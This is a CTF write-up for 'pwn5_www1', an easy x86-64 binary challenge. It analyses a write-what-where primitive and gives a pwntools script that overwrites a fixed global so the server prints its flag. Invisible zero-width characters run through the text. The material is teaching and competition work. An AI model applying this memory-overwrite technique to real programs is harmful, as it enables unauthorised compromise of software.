← Back to Writeups
CUSTOMEasypwn

pwn5_www1

XESXOR9/2/20263 min read
#pwn#custom#easy#global_variable_overwrite#scanf_format_awareness#write_what_where

pwn5_www1

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: global_variable_overwrite, scanf_format_awareness, write_what_where

Summary

Task: non-PIE x86-64 'mic check' pwn exposing a raw write-what-where primitive ((qword)addr = value, both attacker-controlled) where a secret global gates the /flag print. Solution: overwrite the fixed secret global at 0x40408c with 0x10203040, minding the scanf formats (%10d signed decimal for value, %8x hex for address).

pwn5_www1 — pwn_spbctf

Description

Пришло время для перезаписи.

(English: "Time for an overwrite.") A "Mic Check" tier-pwn5 challenge in the www (write-what-where) category by Lex (@b1n4r9). We are given www1.elf and a remote service. The goal is to read /flag on the server.

  • Remote: nc 109.233.56.90 11683
  • Binary: NON-PIE (base 0x400000), NX, Partial RELRO, no stack canary, not stripped.

Analysis

The binary is a textbook write-what-where primitive guarded by a single global sentinel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @ 0x4010a0:

  • A global secret lives at 0x40408c, initialized to 0xdeadbeaf.
  • Calls write_prim().
  • Then cmp DWORD [secret@0x40408c], 0x10203040:
    • If not equal → printf("Go away, son!") and exit(0).
    • If equal → fopen("/flag","r"), fscanf(fp, "%s", buf), printf("Flag: %s", buf) — prints the flag.

write_prim @ 0x401290 (the primitive):

  • printf("Enter data: ") then scanf("%10d", &value) — format string @ 0x402011 is "%10d", i.e. signed decimal, only 4 bytes stored into value.
  • printf("Enter address: ") then scanf("%8x", &addr) — format string @ 0x402026 is "%8x", i.e. hex.
  • *(qword*)addr = value; (compiles to mov [rax], rdx) — an 8-byte write to an attacker-chosen address with an attacker-chosen value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So both the destination and the data are fully attacker-controlled. The check only inspects a DWORD at a known, fixed address (NON-PIE ⇒ 0x40408c is constant), so the exploitation is trivial: overwrite secret with 0x10203040.

Two details to get right:

  1. scanf formats. The value is read with %10d (signed decimal), not hex — so the required value 0x10203040 must be sent as its decimal form 270544960. The address is read with %8x (hex) — so 0x40408c is sent as the string 40408c.
  2. The qword spill is harmless. The write is 8 bytes, but value is only 4 bytes, so the high dword written into 0x404090 is 0. main only does fopen/fscanf/ printf afterward and never touches 0x404090, so this does not matter. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Read the Enter data: prompt and send the value as decimal: 270544960 (= 0x10203040).
  2. Read the Enter address: prompt and send the target address as hex: 40408c.
  3. The primitive writes 0x10203040 into secret, the main compare passes, and the service reads /flag and prints Flag: spbctf{...}.
python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST = '109.233.56.90'
PORT = 11683

SECRET = 0x40408c          # address of secret dword (fixed, NON-PIE)
TARGET = 0x10203040        # required value (compared as dword)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT, timeout=20)

# prompt: "Enter data: " -> scanf("%10d", &value)  (signed decimal!)
io.recvuntil(b'Enter data:')
io.sendline(str(TARGET).encode())          # 270544960

# prompt: "Enter address: " -> scanf("%8x", &addr) (hex)
io.recvuntil(b'Enter address:')
io.sendline(b'%x' % SECRET)                 # 40408c

data = io.recvall(timeout=10)
print(data.decode(errors='replace'))
# -> Flag: spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍